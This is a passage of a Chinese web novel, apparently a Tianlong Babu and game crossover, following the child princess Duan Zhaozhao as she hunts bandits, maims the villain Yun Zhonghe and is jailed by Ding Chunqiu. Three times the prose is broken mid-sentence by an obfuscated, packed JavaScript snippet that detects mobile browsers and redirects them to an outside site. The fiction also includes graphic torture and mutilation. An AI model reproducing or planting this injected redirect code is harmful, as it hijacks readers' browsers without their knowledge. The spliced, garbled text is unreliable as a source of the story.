他看得分明,那样霸道强烈的真气,独属于段昭昭的“一阳指”使出来时,真气于无形化成有形,威力更甚。月白色的真气激荡,宛若微风拂过洱海,泛起涟漪阵阵。然而,每一圈涟漪都足以杀人于无形中。 段昭昭如今也能自如地面对这些夸赞了,她微微一笑,撒娇道,“那伯父可允我去中原武林?” 大理的国土并不辽阔,再加上吏治还算清明,盗匪有限,如今那些凶兽猛兽还有盗匪都被段昭昭给清理得差不多了。 其余人碍于这么一位热心肠的郡主并不敢冒头,生怕哪日这位镇南王小郡主就到他家门口,给他一记一阳指,因此都乖巧无比。 但段昭昭要升级,要弄装备,就需要侠义值,大理国这么点地方,已然被她嚯嚯得差不多了,她只能够将目光投向更远的地方——大宋是个开荒的好地方。 然而,段昭昭今年就八岁半的样子,长辈们哪里肯舍得让这么一个天资聪颖的晚辈去中原闯荡,生怕在中原遇到什么事,照顾不周,这根好苗苗就被人迫害了。 但这些担心,在看到段昭昭的“新”功夫后都放下了不少。 孩子想要进步,是好事啊,再怎么耽搁也不能耽搁了孩子进步! 段正明算是看出来了,段昭昭虽年幼,可于她自己的武艺一道十分有规划,旁人最好是莫要插手太多。 心思急转,段正明有了计较,“自然,不过要待年后,伯父需要做一些安排。正好,你也在家中多陪陪誉儿,过些时日便是他的生辰,这些日子他十分记挂你。” 段昭昭乖巧地点了点头应下,“谢谢伯父,伯父最好了。” 平平无奇的感谢话,不似段誉那样的舌灿莲花,但依旧将段正明哄得合不拢嘴,在段正明这个大理皇帝心中,最看中的晚辈是将来会继承正统的段誉,最疼爱的却是段昭昭。 段昭昭是武学奇才,心性纯善又一心向武,时常入宫和段正明这个武痴讨论武艺,看过不少武侠剧又脑洞大开的段昭昭时常给予段正明不少灵感,令段正明豁然开朗,两人相交颇有些忘年交之感。 段正明对段昭昭也越发疼爱。 从皇宫辞别,段昭昭乘着马车回到镇南王府,刚进门,便听见了花园中传来的争执声。 “婉妹,你莫要同灵妹生气。” “滚——” “灵妹,莫要动气,我们坐下来好生谈谈。” “你也同她是一伙的是不是?” 段昭昭一双眼睛都要变成死鱼眼了,没法子,脑袋开始嗡嗡的。 自从段正淳将木婉清带回了镇南王府后,很快甘宝宝也知晓了这件事,辗转反侧后,也将钟灵送了过来,她自己仍当那钟万仇的妻子。 木婉清和钟灵未改姓名,成了段正淳的义女,如今这镇南王府中有一位郡主,一位世子,以及木婉清和钟灵这两位“姑娘”。 木婉清性子清冷,却对钟灵很是不喜,两人多有不和,一切不过是因为她入了镇南王府,读了书,终于开始长心眼罢了。 知晓当初钟灵的母亲甘宝宝给秦红棉写信有借刀杀人之嫌,因此迁怒钟灵,时常怀疑钟灵会对段昭昭不利。后头误会解开,可见钟灵时常缠着段昭昭,木婉清很是生气,越发看钟灵不顺眼。 而钟灵呢,她年纪小,正是喜欢和“威风凛凛”的大孩子一起玩的时候。 只是万仇谷着实没有什么同龄人,来了镇南王府后,见段昭昭武功极高,脾气又好,顿时崇拜不已,只要段昭昭在府中,她便跟在段昭昭身后宛若一条小尾巴,也因此和木婉清多有争执。 段誉见两个玉雪可爱的妹妹争吵,时常劝架,却每每都两头落不得好,常常挨骂,可他也不在意,反而颇有几分乐在其中的模样。 可以说木婉清和钟灵吵架,段誉劝架然后挨两人骂,已经成了镇南王府的固定节目了。 段昭昭想起刀白凤同她说的事,听闻段正淳在中原的情人在寻孩子,已经寻到了一个,另一个待找到后,不日也要送到镇南王府来,也就是说,镇南王府还要再多两个孩子,段昭昭想到这事便觉得脑袋嗡嗡的。 算了算了,都当人家女儿了,锦衣玉食地被养到这么大,总不能一点也不付出吧? 做了一番心理建设,段昭昭径直朝花园走去。 “昭妹!”段昭昭才走近,争吵声戛然而止,木婉清高高兴兴地扑了过来,甚至还用上了武功,嗖的一下,宛若离弦之箭,速度极快。 钟灵也不甘其后,连忙小跑至段昭昭的身前,“昭姐姐!” 段誉一瘸一拐地落在了最后,很显然,他又被木婉清和钟灵踩脚了,因着段昭昭不许木婉清随意扇人巴掌,木婉清就非常灵活地将扇巴掌改成了踩脚,而钟灵见她如此待段誉,立刻有样学样。 好在两人也算是知道轻重,常常就疼那么一会儿,倒也不会造成什么伤,段昭昭见段誉自个都不生气,甚至还有些乐在其中,也就不管了。 段昭昭一手接住了扑向她的木婉清,又伸手摸了摸钟灵的脑袋,那叫一个雨露均沾。 “婉姐姐的轻功精进了不少,这些日子一定勤加修行,真厉害。” 木婉清一双眼睛顿时弯成了月牙,“昭妹眼力真好,我按朱四哥教的法子,日日扎马步,从不懈怠,又绑了几个轻量的沙袋,每日行走一个时辰,如此轻功果真精进了。” “灵妹瞧着似乎长高了些许,定然是没有再挑食了。” 钟灵高兴地摸了摸自己的头,比划了一下自己与段昭昭的身高,“真的吗?不过我瞧着还是比昭姐姐矮上几寸呢。” 最后到的段誉不说话,一双眼睛满是期待地看着段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399052|183677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭昭。 段昭昭硬着头皮道,“兄长也将婉姐姐和灵妹照顾得极好。” 被夸奖的段誉身子都站直了,整个人都神气了几分。 挨个夸了一圈,三人虽说心中还有些不虞,却个个都眉眼带笑。段昭昭见此,不由心中感慨,自己这端水的模样,淳里淳气的,已然有了段正淳的一分功力,什么是言传身教,这就是了。 段昭昭归家后,镇南王府很是热闹和睦,否则木婉清和钟灵时常争执,段誉又常常被迁怒挨打,整个镇南王府的下人又畏惧木婉清和钟灵,又生怕段誉时常挨踩会出什么事,提心吊胆的。 如今段昭昭回来后,木婉清深知段昭昭的喜好,时常在段昭昭面前装出手足和睦的模样,钟灵向来机灵,也有样学样,镇南王府便也能维持和平。 段昭昭虽回了镇南王府,也没有落下武艺,每日打巨石,修炼内功,虽说如今经验增长缓慢,但总比没有好。 闲暇时,她便会用新学会的轻功月步凌霄带着木婉清钟灵段誉三人挨个体会双人轻功。 先前没有他山月的时候,段昭昭是没法使用门派轻功的,因为没有武器,只能够使用通用的轻功萍踪侠影,如今从侠义值买了武器后,倒是能够使用月步凌霄了。 月步凌霄飞得又高又远,俨然被段昭昭当成了举高高一样的哄小孩手段,不过三人倒是都很吃她这招。 转眼间,新年已过,又是一年春,段昭昭在镇南王府待了三个多月,终于等来了段正明的好消息。 “昭儿,这是你的官印,日后你便是大宋的团练使了。可有部卒数百,持官印可剿匪,只是并无调动兵卒之权。所以昭儿,你要小心,不可鲁莽。”段正明说着将一个盒子交给了段昭昭。 段昭昭接过,打开一瞧,里头卧着一枚四四方方的小印,她怎么都没有想到,今年九岁的自己,就这么水灵灵地当上了官。不必多说,段正明定然在其中付出了许多。 有了这么一个正式的名分,段昭昭可以带着部卒进入中原,也避免了中原武林中的那些人因她的年龄轻视于她,寻她麻烦,可以说,段正明果真是费尽了心思。 段昭昭捏紧了盒子,她不知道自己该说些什么,言语在此刻变得如此苍白。 段正明拍了拍段昭昭的脑袋,温和地笑了笑道,“别怕,万事都有伯父在,日后若是被欺负了,烦了腻了便回来。” 二月,段昭昭自大理城出发,一路向东北而行,不过几日,便入蜀中。她欲从蜀中开始自己的开荒大业,蜀道艰难,匪患丛生,正是刷侠义的好地方。 然而,未等她去寻那些蜀中的匪盗,麻烦便这么找上了门来。 身材瘦高的男人躲在树冠后,他长了一张马脸,极长,整个人瞧着便好似竹竿一般,此时一双眼睛正贼溜溜地盯着不远处闭目养神的小姑娘,“小是小了些,但这样漂亮,弄到手,从小玩到大,也别有一番滋味。” 17.段氏17 “这个小美人我便带走了!”尖嘎的嗓音才响起,头戴红花,身着酱色缎袍的男人便如一道青烟一般出现在段昭昭身边。 段昭昭一个迎风回浪向后撤退数尺避开了对方,“贼眉鼠眼,臭不可闻!”言罢,盈力聚气,手中他山月一挥,一个骤风令便打向了对方。 “妙极妙极,这嫩生生的嗓子,若是叫起来,也很有一番滋味,小美——”男人见段昭昭怒斥自己,并不气恼,反而开口调戏,一双眼睛仍垂涎欲滴地黏在段昭昭的身上,只是他调戏的话语未说完,周身忽然骤风漫卷。 这是以内力扇卷出来的风,风卷上还附着着已然化气成形的淡蓝色真气,惊得男人往左一飘,欲躲开这风卷。 可令人惊诧的事情发生了,风卷好似有自己的思绪一般,竟紧紧地黏着在男人身后,他那马脸上的嬉笑顷刻间也化为了阴鸷,“小小年纪,竟有这番的功夫。” 男人一时间犹豫不决,这样的俊俏的功夫,必然是名门之后,他虽是恶人却也不是傻子,知晓这样的名门之后非自己孤身能敌,理应立即撤去,可是瞧着那张冷若冰霜的面庞,只觉得心痒难耐,哪里舍得就这么离开? 还未等他有所决断,段昭昭手中的他山月向前一劈,化风为刃,直直劈在了男人身上,风刃与风卷相呼应和,眨眼间,男人身上便出现了一道道的细微的伤痕,他不再犹豫,当即便要拔足奔逃。 “你这小女娘的武功着实邪门,今日爷有要紧事,便不与你纠缠,放你一马。”临走之前,不愿意在貌美的小女娘面前丢了颜面,男人还不忘自我辩解一番。 只是他这话显然是说早了,段昭昭的手腕翻转,手中他山月随之挥舞抖动,抟风而上,原本那即将消失的风卷在此刻倏地膨胀数倍,原本即将逃奔的男人就这么被这巨大的风卷吸附,难以逃脱。 他运气欲再逃,却觉一股似柔似刚似阴似阳的真气缠束着他的周身经脉,令他内力运转艰涩,连轻功也受到了极大的影响。 当下,男人便放弃逃跑的想法,拧身向前,眨眼间便飘至段昭昭两尺外,他长臂一伸,取下身后的钢爪杖,紧接着往前一探,一只钢爪眼见立刻就要落在段昭昭的右肩。 段昭昭却一个瑶台枕鹤避开了对方的钢爪,而后又一个蹑云逐月行至男人身后数尺外,再接一个破穴将男人钉在了原地。 引窍、断脉、引窍、破穴、断脉、截阳。 段昭昭五指纷弹,一道道湛蓝色的真气自她指尖激荡而出,男人左闪右躲,双手铁爪飞舞,欲抵挡那淡蓝色真气,却无济于事。 他想逃,却怎么也逃不掉,真气入体,缠绕经脉,令他难以运气,这样隔空打穴之技,可谓是神乎其技。 最终,段昭昭以一个抟风令结束了这次战斗。 “巴叔叔,劳烦剁去他双手双足。” 精瘦黑矮的汉子应声而出,拔刀便直直向地上的男人砍去,鲜血溅射,只能一声惨叫,那男人的双手双足俱断。 “毒妇!毒妇!小小年纪,竟然这般阴狠毒辣!” 段昭昭被骂了,却也不生气,歪头一笑,道,“巴叔叔,他夸我呢。” 恶人骂自己狠毒,那不是夸赞是什么呢? 被段昭昭称为“巴叔叔”的汉子全名巴天石,乃大理三公之一的司空,是大理数一数二的高手,为人忠心耿耿,段昭昭此次中原行,段正明派其随扈左右。 巴天石弯腰扯下男人的外衫,将自己刀上的血擦去,咧嘴笑道,“小郡主雅量,这等败犬之吠,不若臣割去他的舌头?” 巴天石非滥杀狠毒之人,因大理皇室信奉佛教,一众家臣都有样学样,很是有些慈悲心在身上。 可在这慈悲心之前,还有忠心。这男人一出场便想掳走段昭昭,又对段昭昭口出污言秽语,若不是段正明有言在先,令他非段昭昭有令,不可随意出手,否则方才在男人说第一句话时,巴天石便会用出毕生所学将男人打杀了去。 这样侮辱大理皇室的小郡主,着实是死百次都不足惜,更别谈只是断他一双手足。 “不必,待我问清楚再说。”段昭昭踢了踢哀嚎不断的男人,“你叫什么名字?” “呸!”浑身的疼痛令男人的一张脸越发狰狞,然而手足俱断,他并无其他报复之法,只能对着段昭昭吐出一口浓痰,然而他如今内力受困,无甚力气,这口浓痰没有吐到段昭昭身上,反而落在了自己的脸上。 段昭昭被恶心地侧过了脸,巴天石见状,捡起刚才男人被砍下的脚,直接丢在了对方的脸上,“再吠我就把这玩意塞在你的嘴里。” 断肢的鲜血汩汩流出,流了男人一脸,场面十分血腥。 不过段昭昭是看不见的,这些在她眼里都是马赛克,作为一个有插件的人,她已经开启了屏蔽状态。 在这样的高危江湖中,段昭昭能够如此快地适应江湖厮杀,插件功不可没。小方块组成的长条大方块,上头有红色的小方块,看着就是像素小人,实在是没有什么恐怖可怕之感。 开了屏蔽,段昭昭倒是可以直视地上的男人了,“你不说我也能猜到,这样好的轻功,这样猥琐的面容,还这样的好色,你是四大恶人中的‘穷凶极恶’云中鹤,对不对。” 事实上,云中鹤隐藏得极好,奈何段昭昭有挂,开了插件的她能够看到树冠后那硕大的红名,因此一早就猜到了云中鹤盯上了自己,将目标锁定在了云中鹤身上。 当云中鹤运功欲来抓她时,那红色的扇形是那么的明显,段昭昭有插件的提示直接躲开了云中鹤的攻击。 云中鹤的等级足足有一百级,而段昭昭只有八十级,相差了整整二十级。 一开始段昭昭已经做好了让巴天石助阵的打算,只是没有想到云中鹤这样的轻敌,压根就不将段昭昭放在眼里,给了段昭昭可乘之机,先一步控制住了他。 云中鹤难对付在于其轻功奇高,身法最是灵巧,但是被段昭昭控了之后,灵巧的身法便很难再施展出来了。 且他再厉害,也是个近战,段昭昭一个段氏,可有拥有二十尺攻击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409177|183677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 距离的远程,近战近不了身,还被控了,又是个白板号,装备齐全的大橙武,哪怕只有八十级打对方也是够的。 四大恶人,有一个算一个,都该死,云中鹤时常将貌美女子掠去,□□虐杀,这些年不知道多少女子遭其虐杀,面对这样的人,跺他双手双足,可不算狠毒。 "你个毒妇竟也听过爷爷的大名!”云中鹤“赫赫”地笑了两声,仍旧嘴硬。 段昭昭见他应下,便也懒得再理会他,侧头对巴天石道,“巴叔叔,此地与我大理接壤,这云中鹤作恶多端,不知我大理多少女子遭其毒手,还请巴叔叔好生审问,若是有存活者,愿意归家便给了银财让他们归家,若是不愿,就将他们送去慈姑处安置。” 慈姑和阿星被段昭昭救下后,段正淳原本是打算给了银财,将两人送回家乡,然而段昭昭却想得更多一些,她征得两人同意后,将两人留下,如今慈姑和阿星成了段昭昭的养蜂坊的管事,负责养蜂采蜜。 这个养蜂坊中,俱是是一些失孤的妇孺老幼,段昭昭横扫大理的匪贼,那些被匪贼掳走的女子被她救后,若是不愿归家,便会被她送到养蜂坊中,也算是有个安身之处。 巴天石闻言,再次拔刀,这次他以刀挑断了云中鹤的浑身经脉,令对方武功尽失。 而后收刀伸手一把抓起云中鹤的头发就要向外拖,巴天石黝黑的脸上挤出一个笑容,“小郡主您好生休息,我去盘问盘问这歹人,一些手段不适合小郡主您瞧,免得吓着你。” 云中鹤本就因手足俱断而浑身疼痛不已,如今筋脉被废,原就不多的头发还被这样抓着,浑身上下,那是哪儿哪儿都疼。 然而他听了巴天石的话不由嗤笑道,“这样一个毒妇,随意断人手足,你还怕吓着她?” 巴天石一个用力,将云中鹤的脑袋拽上前,左手抡圆,“啪”地一个巴掌落在了云中鹤的脸上。 云中鹤被打得眼冒金星,鼻血流出,他头一偏,吐出一口血水,定睛一瞧,里头还有两颗牙齿。 “你懂个卵——乱言胡语什么!”巴天石张口就要爆粗,但见到段昭昭还在,急急忙忙改了口,“我们小郡主这是善!” 在巴天石看来,段昭昭只不过是令自己废去这歹人的手足,不让他再作乱,这可不是什么折辱,面对这样一个污言秽语的歹人,都没有折辱其,这不是善是什么? 段昭昭向来知道诸多家臣对自己都非常有滤镜,但是她也没有想到能够有滤镜到这个地步,好不容易才稳住了自己面上的表情,“巴叔叔,你快些去审了他,送他下地狱吧,这样误会聒噪之人,着实不想再见,我去让人煮上几大锅饭食,等巴叔叔审完他,正好回来用饭。” 一听到有饭吃,巴天石顿时就更高兴了,要知道,镇南王府的小郡主是最会吃的了,小郡主令人烹调的膳食,哪怕是在野外,滋味也定然不会差到哪里去。 舔了舔唇,巴天石揪起云中鹤眨眼消失在了段昭昭的眼前,“老巴我去去就来,还请小郡主定要给我留些饭食!” 18.段氏18 巴天石作为大理的司空,有的是力气和手段,当他有心想要从逼出消息的时候,哪怕是号称“穷凶极恶”的云中鹤也没有能坚持下去。 云中鹤被折磨得奄奄一息,如今他也不求活了,只求个痛快。 然而听了他招认的巴天石却气得够呛,“你这厮简直龌龊至极,还想掳走我家郡主去!” 巴天石越说越气,一想到云中鹤竟然狗胆包天如此肖想他家郡主,当即就手起刀落,把云中鹤最宝贵的那二两肉给剁了下来,剁碎了塞进了云中鹤的嘴里。 这样狠辣残忍的手段直接将云中鹤折磨疯了,云中鹤恶归恶,可真要论起手段狠辣,哪里能够有巴天石这种坐到了一国司空位置的人狠辣? 云中鹤被巴天石扔进了河里,巴天石拎着他仿佛拎着一块破布一般,在河里翻来覆去,没一会儿,云中鹤身上的血迹就不剩多少了,看起来也没有那么可怕,就是丑得厉害。 巴天石想了想,将云中鹤的衣裳给扒了,盖在云中鹤的头上,确定云中鹤吓不到自家郡主,这才拎着人回去。 “好香啊!”巴天石轻功卓越,很快就回到了营地,还未至,便闻到了霸道的香味,不由吞了吞口水,他立刻将云中鹤扔到了一边,“嗖”的一下蹿到了那火堆边,眼巴巴地看着火上冒着香气的铁锅。 铁锅这种东西,这个时代还没有完全兴起,铁锅炒菜如今在汴京还是稀罕物。 但是在段昭昭这里不是,作为一个剑三玩家,在解锁了庖丁后,也点亮了烹饪技艺,虽然烹饪现在只有二十多级,但也解锁了系统里的大部分菜谱,足够她在野外生存了。 段昭昭做的不是系统里的食谱,这样的野外也不适合那种菜谱,她做的是蘑菇酱腊肠炒饭,还炒了一道野菜,蘑菇酱是早早就做好的,从大理国带来,属于是居家旅行必备,非常受欢迎,腊肠是镇南王府的厨师按照段昭昭的法子制作出来的。 这些年,作为镇南王府的小郡主,备受皇帝疼爱的段昭昭想吃什么只用负责许愿,大概说一下做法,自会有厨子替她圆 梦,这让她在距离现代社会一千年多年前的北宋吃上了广式腊肠。 “好了,巴叔叔小心烫。”段昭昭收手,直接抱起了一个小锅开始干饭,她是习武之人,饭量极大。 巴天石抱起另一口大锅,顾不得烫,拿起木勺大口大口地吃了起来,一边往外呼热气,一边含糊不清地夸赞道,“真香!” 巴天石只觉得这趟公干真是没白出,跟着小郡主外出,小郡主人好有礼,无甚大事,还有美味的饭食。 最重要的是,不用陷入两难的境地,要知道,他每次同段正淳外出公干时,回了大理总是会被刀白凤招过去盘问一番。而段正淳又一直都不老实,巴天石作为臣子自然不可能出卖段正淳,却又不敢对刀白凤说谎,每次外出再回大理的时候,那叫一个头疼。 用完了饭食,巴天石扯着袖子抹去嘴上的油腻,又将那岌岌可危的饱嗝憋了回去,这才涨红着脸,将自己方才审问云中鹤得到的消息一一道来。 “那些被他掳走的女子大多都不在这世上了,有幸逃脱的,他也不知道对方在何处,他才至蜀中,还未在蜀中犯下新的恶行。” “派两人将其送到官府吧,这样的恶贼,理应当众处以极刑,以彰其恶。”段昭昭没打算自己杀了云中鹤,这样的人交给官府,让官府当众处刑也能震慑其他恶贼,也算是废物利用了。 巴天石起身再次抓起云中鹤的头发,道,“臣这便去安排。” 巴天石点了两人将云中鹤送去官府,紧接着一行人则奔赴一早就定下的目的地,开始自己的开荒大业。 黎州的张知州在收到这么一份大礼的时候尚且还有些不可置信,毕竟这可是四大恶人之一的云中鹤啊!官府设有悬赏,云中鹤自然也在其上,但这么久以来,从来没有人将云中鹤捉来送官府的,要知道,云中鹤到底是江湖上有名有姓的存在。 能在偌大的江湖混出这么一个名头,本身就很能说明问题了。 还是那名送人的士兵出示了段昭昭的官印,这位张知州才相信,顿时大喜,火速下令,四处昭告,并且于第三日午时,当众将云中鹤斩首,还令人将此事编成趣文传至蜀中各地,除却震慑宵小外,也是为了让别人知晓他的政绩。 张知州本以为这天上掉馅饼的事情有一桩已经极为难得了,没曾想这样的馅饼还有许多个。接下来的时日,他陆续收到了那位从大理国而来的年幼的团练使的“礼物”,那些恶名昭昭的匪贼就这么水灵灵地被送到了他的手上。 虽说送过来的时候离死就差这么一点点了,但是问题不大,赶得上当众斩首。 一时间,黎州的各大菜市口人头滚滚,整个黎州的匪贼也开始躲起来变得安分守己,生怕那位正义爆棚的团练使盯上自己,黎州的治安蹭蹭上涨,而段昭昭则北上前往蜀州,在蜀州继续自己的开荒大业。 段昭昭在川峡四路待了半年,将整个川峡四路能够剿的匪贼全都剿了。她人未出川峡四路,可名声已然传遍了整个中原武林。 整个中原武林都知晓,大理段氏出了一位麒麟儿,年纪虽小,武功却极高,更重要的是有侠义心肠,不仅捉了那四大恶人之一的云中鹤,还在川峡四路为民除害,剿匪无数,将来前途,不可限量。 而被众人夸前途不可限量的段昭昭此时却不好过,她如今被关在了地牢中,正琢磨找个法子逃出去。 事情还得从三日前说起。 三日前,段昭昭刚刚升到九十五级,还将自己九十级的装备给做了出来。川峡四路已经没有什么可以开荒的地方了,如今还活着的那些大匪贼都是和官府有所勾连,她如果再动手,那就是不给川峡四路的官员面子,故而段昭昭只能收手。 而就在她准备转道去苏州时,先是遭遇了一百一十级的段延庆,然后在逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416268|183677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑时又遭遇了一百一十二级的丁春秋。 一路奔波,段昭昭虽然能够逃脱,但是如果她逃了,巴天石和一众士兵就会死于丁春秋的毒下,不得已,她只能独自留下,让巴天石等人先回大理求援。 “你姓段?”紫色衣服的女童眨巴着大眼睛,盯着段昭昭。 段昭昭看了一眼她头顶的id——阿紫,顿时心中有数,“嗯,你也姓段吗?” 阿紫将饭食从食盒中拿了出来,一一摆在了段昭昭的身前,一双眼睛却依旧黏在段昭昭身上,闷闷道,“我应该是姓段的。” 段昭昭明知故问,“为什么说应该?你不知道自己姓什么吗?” 阿紫闻言,顿时恼了,她抓起地上泥土丢在那碗饭上,恶声恶气道,“你知道自己姓什么很了不起是不是?” 段昭昭从腰间摸了摸,摸出了对付小孩的特攻,一个装满了糖的荷包,塞给了阿紫,“你别恼,是我说错了话了,不知道自己姓什么,也不是什么大事,我四岁前也不知道自己姓什么,连我爹是谁都不知道呢。” 阿紫接过荷包放在鼻尖前嗅了嗅,闻到甜蜜蜜的滋味,顿时又笑了起来。 她掏出一颗糖,正想放进嘴里,却眼睛一转,先将糖递给了段昭昭,“你吃。” 段昭昭从善如流地将那颗糖放进了嘴里,阿紫见她面无异色,这才把糖放进嘴中,糖一入嘴,她脸上的笑意更甚,“这糖是什么,真甜。” “这是用蜂蜜和牛乳做的,是我最喜欢的糖了,你喜欢吗?” 阿紫点了点头,慎重其事地将糖放进袖中,下巴一抬,依旧是一张可爱的笑脸,只是嘴中说出来的话却不怎么中听,“我知道你讨好我是想让我帮你逃出去,但你失算了,我不仅不会帮你逃出去,我还要给你下毒,把你毒哑,再把你的脸蛋给划花,让你疼得死去活来。” 段昭昭却是一点也不害怕,“你要是这么做,你师父会罚你的。” 阿紫脸上的表情僵了一瞬,却依旧嘴硬道,“才不会,师父可疼爱我了~我要杀你便杀,他才不会惩罚我呢。” 段昭昭没有戳破阿紫的谎话,她很清楚,丁春秋一定是下了不许对自出手的命令,否则刚才阿紫洒在她饭上的就不是泥土而是毒药了。 “我是在讨好你,可是不仅仅是因为想要让你帮我逃出去,而是我觉得你长得很好看,你不觉得我们很像吗?我们都姓段,而且你看,咱们都是大大的眼睛,尖尖的下巴。” 阿紫抓起那碗饭砸向段昭昭,“谁跟你像了,你不许再说话,再说我毒哑你!” 段昭昭侧身避开了那碗饭,一本正经道,“我们这般像,很有可能是姐妹,就算不是姐妹,你也知道,我是大理的郡主,我爹爹和伯父都很疼我,我可以帮你找到你的爹娘,就算没有找到,我也可以认你当义妹,我爹爹人认了好几个义女,我也可以认个义妹,以后你可以跟着我出去,想干什么干什么。” 19.段氏19 阿紫心动了,她入星宿派已有两年有余,日子过得却不好,在星宿派中,阿紫可谓是食物链底端。 星宿派与其他门派并不相同,门中弟子辈分排序不以入门先后或者年龄为准,而是以武功高低为辈分。武功高者可以挑战排位靠前的师兄师姐,若是成了,便会取而代之,而失败者往往以死亡告终。 故而星宿派是个非常卷的门派,处处都有竞争,师兄妹之间相互猜忌忌惮。 阿紫年幼,打不过诸多师兄,排在最末端,时常受到诸位师兄的欺压。如今的她尚且还不是那个未来里丁春秋“最疼爱”的弟子,拍马屁的技术虽然初见端倪,能得丁春秋几分青眼,但那几分青眼只有她保命而已。 一直被师兄们欺压的阿紫做梦都想过上段昭昭所说的那种生活,富贵的,有人疼爱的,想干什么就干什么的生活。 阿紫的一双大眼睛骨碌碌地转了转,拍掌道,“好啊,你想要逃,我这就去告诉师父去!让师父杀了你!我才不会上你的当呢!你这样的人就该死!” 段昭昭深知丁春秋是绝对不会杀了自己的,毕竟自己除了是大理国的郡主,也是大宋的团练使。 丁春秋若只是抓了她,尚且可以用家事搪塞过去,毕竟丁春秋是段正淳红颜知己之一的李青萝的养父,可若是真的杀了她,那无疑是打了大宋和大理的颜面,丁春秋的武功尚且不至于到与军队为敌的地步。 “你在嫉妒我。”段昭昭稍稍一思索,便知道阿紫对自己的仇视从何而来,她不再试图说服阿紫,而是起身在牢中寻了一个离隔离栅最远的地方,盘腿作调息状,没有再看阿紫一眼,也不再同阿紫说话。 阿紫倒是气得咬牙切齿,“谁嫉妒你了?你如今是我师父的阶下囚有什么好嫉妒的,等师父的事情办完了,我就把你的脸划烂,把你丢进蛇堆里,把蜈蚣放进你的嘴巴里,让蚂蚁爬满你的伤口....” 阿紫用尽自己知道的最可怕的方法恐吓着段昭昭,得到了只有一片沉默,她气得从就想用那装了糖的荷包去扔段昭昭,可到底是舍不得那一点甜。 最后,她只能弯腰捡起一些碎石子要去砸段昭昭,只是她没有什么武功,也砸不到人,最后只能够将自己气得面红耳赤,跺足离去。 离开地牢后,阿紫立刻求见丁春秋,将牢房中段昭昭是如何收买她一事一一禀告,只是她心眼多,隐去了段昭昭怀疑她姓段一事。 丁春秋鹤发童颜,颏下有三尺苍髯,手持羽扇一把,瞧着便好似画中的老神仙一般,只是他可没有那些老神仙的好心肠,“一国郡主,你就真不心动?” “师父之智比繁星更多,师父对阿紫之恩,比海更深,那无耻小儿,如何能够同师父相提并论,再说那大理国哪有咱们星宿派风光,阿紫又怎会心动?!”阿紫能够得到丁春秋的几分青眼全因为她日益增长的拍马屁功夫,丁春秋最是喜爱听这样的好听话。 果不其然,丁春秋脸上笑意更甚,他摇了摇手中羽扇,笑道,“你这话倒是有理,那段氏小郡主如此不识趣,今日起便不再给她送饭食茶水。” 阿紫有些失落地咬了咬唇,大着胆子建议道,“师父,她这是对您老人家不敬啊,照徒儿说,应该给她一点颜色瞧瞧,不若将那新制的毒药给她灌下去,也好让她试试那断筋剥皮之痛。” “呵!”丁春秋冷笑一声,手中羽扇翻动,原本跪在他下首的阿紫就这么被一股气劲掀起重重地落在了数尺之外。 阿紫顾不得身上疼痛,立刻翻身再次跪地,一边磕头一边道,“师父英明神武,阿紫虫蚁之智,没能理解师父老人家的深意,是阿紫错了,求师父开恩求师父开恩!”她将嘴中的血沫咽下,使出了浑身解数,说尽了吹捧之语。 终于,等阿紫脑袋都磕破出了血,丁春秋心中的气稍缓,这才施恩地吐出一个字“滚!” 阿紫又磕了几个响头,高声道,“阿紫这就滚。”她躺在地上,绷直了身体,就这么滚出了殿中。 好不容易出了正堂,却见几个师兄嘻嘻哈哈的看着自己,阿紫只能再次挤出笑容,对着几个师兄一阵讨好,却再次被指使着跑腿做了不少事,甚至连段昭昭给她的那个装着糖的荷包也再次被抢了去。 另一边,地牢中,段昭昭依旧在盘腿调息,并不焦急。 段昭昭中了丁春秋的毒,这种毒会令她一运功就真气逆行,无法动弹,倘若强行动功,还会使得她瘫痪。如果段昭昭是个万花,可以直接驱散,但她作为一个段氏,是没有驱散技能的。 不过没有驱散,却有解控,雪重花满,段昭昭升到九十级后得到的技能,开启雪重花满期间,受到敌方的锁足、定身、眩晕、击倒效果,都会转化成自身受到一个减速效果,不仅如此,还带15%的回血功能。 而丁春秋的毒则相当于运功时会有一个持续掉血的debuff,会令段昭昭经脉紊乱,但是雪重花满却不受这个经脉紊乱的影响,这便给了段昭昭操作的空间。 她一边调息回血一边用雪重花满,再加上周天功本身就有治疗之效,要知道游戏中,段氏弟子入门时是经脉俱断不能习武,全靠周天功续命的。 就这样,段昭昭用调息加雪重花满消耗丁春秋带来的debuff 层数,那debuff运功就会消耗其层数,等层数消耗完了,毒也解了。 